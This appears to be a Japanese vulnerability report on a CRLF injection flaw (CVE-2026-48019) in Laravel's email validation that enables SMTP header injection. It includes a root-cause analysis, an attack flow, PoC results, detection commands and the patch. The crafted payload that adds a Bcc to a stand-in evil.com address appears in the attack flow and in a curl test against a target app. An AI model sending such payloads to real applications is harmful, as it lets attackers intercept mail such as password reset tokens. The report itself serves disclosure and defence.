CVE-2026-48019 HTML Report

CVE-2026-48019 · GHSA-5vg9-5847-vvmq

Laravel Framework CRLF Injection

CVSS 8.9 (High) 修正済み CWE CWE-93 公開日 2026-06-01 発見者 @OmarXtream
TL;DR

Laravel Frameworkのデフォルトメールアドレス検証ルールにおいて、CRLF文字(\r\n)の無効化が不十分。細工されたメールアドレス "admin\r\nBcc: hacker@evil.com"@target.com がバリデーションを通過し、Symfony Mime経由でSMTPヘッダーインジェクションを引き起こす。laravel/framework ≥12.60.0 / ≥13.10.0で修正済み。

概要


CVSS v3.18.9 (High)
CVSS VectorAV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CVSS v4.0AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
CWECWE-93 (Improper Neutralization of CRLF Sequences)
EPSS【情報不足】(FIRST EPSS APIに未登録)
CISA KEVなし
関連CVESymfony CVE-2026-45067

影響を受けるバージョン


製品影響バージョン修正バージョン
laravel/framework< 12.60.0≥ 12.60.0
laravel/framework<= 13.9.0≥ 13.10.0
symfony/mime (間接依存)修正前のバージョンCVE-2026-45067修正版

根本原因


脆弱性は2つのレイヤーの相互作用に存在する。RFC 5322ではメールアドレスのローカルパートをダブルクォートで囲む場合、特殊文字(CRLF含む)を含めることが許可されている。egulias/email-validatorRFCValidationはこの仕様に準拠し、quoted-string内の\r\nを正当な文字として受け入れる。このアドレスがSymfony MimeのAddressコンストラクタに渡されると、SMTP送信時にCRLFがヘッダー終端として解釈され、意図しないヘッダーインジェクションが可能となる。

PHPのfilter_var(フィルター関数)はCRLFを拒否するが、Laravel 12.xのデフォルトemailルールはegulias/email-validatorを使用するため、この保護は適用されない。

ValidatesAttributes.php (v12.59.0 — 脆弱)
public function validateEmail($attribute, $value, $parameters)
{
// デフォルトでRFCValidationが使用される
// → quoted-string内の\r\nを「正当」としてPASS
$validations = (new Collection($parameters))
->unique()->map(fn ($v) => match (true) {
- default => new RFCValidation(), // ← ここが問題
})->values()->all() ?: [new RFCValidation];
return $validator->isValid($value, new MultipleValidationWithAnd($validations));
}
Symfony Mime Address.php (pre-patch)
public function __construct(string $address, ?string $name = null)
{
- // pre-patch: CRLFチェックなし → 細工アドレスをそのまま保存
$this->address = $address;
$this->name = $name;
}

攻撃フロー


1
細工メールアドレス送信
POST /contactemail: "admin\r\nBcc: hacker@evil.com"@target.com
2
バリデーション通過 ↑
RFCValidation → RFC 5322準拠: quoted-string内CRLFは正当 → PASS
3
メール送信処理
Laravel Mailer → Addressオブジェクト生成 → Symfony Mime → SMTP送信
4
SMTPヘッダーインジェクション ↑
RCPT TO:<"admin\r\nBcc: hacker@evil.com"@target.com>
5
攻撃成功
✅ admin@target.com にメール到着 ✅ hacker@evil.com にBCCコピー
✅ パスワードリセットトークン、機密情報の取得可能

PoC検証結果


Dockerコンテナ上で実際のLaravelフレームワークを使用してHTTP POST経由で検証。

バージョンCRLFペイロード通常メール判定
Laravel 12.59.0PASS √PASS √↑ 脆弱
Laravel 12.60.0BLOCK ×PASS √✅ 修正済み
Symfony Mime (最新)BLOCK ×✅ 修正済み
検証結果 — 脆弱版 (12.59.0)
"email_raw": "\"admin\r\nBcc: hacker@evil.com\"@target.com",
"has_crlf": true,
"validation_passed": true,
"laravel_version": "12.59.0",
"cve_status": "VULNERABLE"
検証結果 — 修正版 (12.60.0)
"email_raw": "\"admin\r\nBcc: hacker@evil.com\"@target.com",
"has_crlf": true,
"validation_passed": false,
"laravel_version": "12.60.0",
"cve_status": "SAFE"

検出方法


ブラックボックステスト
curl -X POST https://target-app/api/contact \
-H "Content-Type: application/json" \
-d '{"email": "\"test\r\nBcc: attacker@evil.com\"@target.com"}'

422 Error → 修正済み √ 200 OK → 脆弱 ↑

ホワイトボックステスト
grep -n "preg_match.*\\\\r\\\\n" \
vendor/laravel/framework/src/Illuminate/Validation/Concerns/ValidatesAttributes.php
# マッチする → 修正済み
# マッチしない → 脆弱 (v12.59.0以前)

修正パッチ詳細


修正コミット: 96e9a66 by taylorotwell · 3ファイル + テスト2 / +105行, -15行

1. ValidatesAttributes.php — CRLFプリチェック追加

public function validateEmail($attribute, $value, $parameters)
{
+ if (preg_match('/[\r\n]/', (string) $value) > 0) {
+ return false; // CRLFを含む場合は即座に拒否
+ }
// ... RFCValidation処理
}

2. Address.php — コンストラクタでCRLFチェック

public function __construct(string $address, ?string $name = null)
{
+ if (preg_match('/[\r\n]/', $address) > 0) {
+ throw new InvalidArgumentException(
+ 'Email addresses may not contain line break characters.');
+ }
$this->address = $address;
}

3. Message.php — 全アドレス処理メソッドを安全化

from(), to(), cc(), bcc() など全メソッドが ensureAddressIsSafe() ヘルパー経由にリファクタリング。

対策


恒久対策: Laravelを修正バージョンにアップデート
composer require laravel/framework:^12.60.0 (12.x) / ^13.10.0 (13.x)
最優先
暫定対策: バリデーションルールを email:filter に変更
'email' => 'required|email:filter' → PHPのfilter_varがCRLFをブロック
即座
カスタムミドルウェア: CRLFチェックを独自実装
if (preg_match('/[\r\n]/', $request->input('email')))
代替

参考資料